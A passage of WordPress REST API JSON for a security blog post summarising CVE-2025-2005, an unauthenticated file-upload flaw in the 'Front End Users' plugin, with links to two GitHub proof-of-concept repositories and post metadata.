href=\"https:\/\/github.com\/Nxploited\/CVE-2025-2005\" target=\"_new\" rel=\"noopener\" data-start=\"3780\" data-end=\"3849\">GitHub PoC by Nxploited<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3850\" data-end=\"3917\">\n<p class=\"\" data-start=\"3852\" data-end=\"3917\"><a class=\"\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005\" target=\"_new\" rel=\"noopener\" data-start=\"3852\" data-end=\"3917\">GitHub PoC by mrmtwoj<\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/article>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2025-2005 is a critical vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server. Vulnerability Summary CVE ID: CVE-2025-2005\u200b Severity: Critical (CVSS 3.1 Score: 9.8)\u200bCIRCL CVE+1NVD+1 Attack Vector: Network\u200bCVE Privileges [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[79],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-20261","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-github","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/20261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=20261"}],"version-history":[{"count":22,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/20261\/revisions"}],"predecessor-version":[{"id":57996,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/20261\/revisions\/57996"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=20261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=20261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=20261"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=20261"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=20261"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=20261"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=20261"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=20261"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=20261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}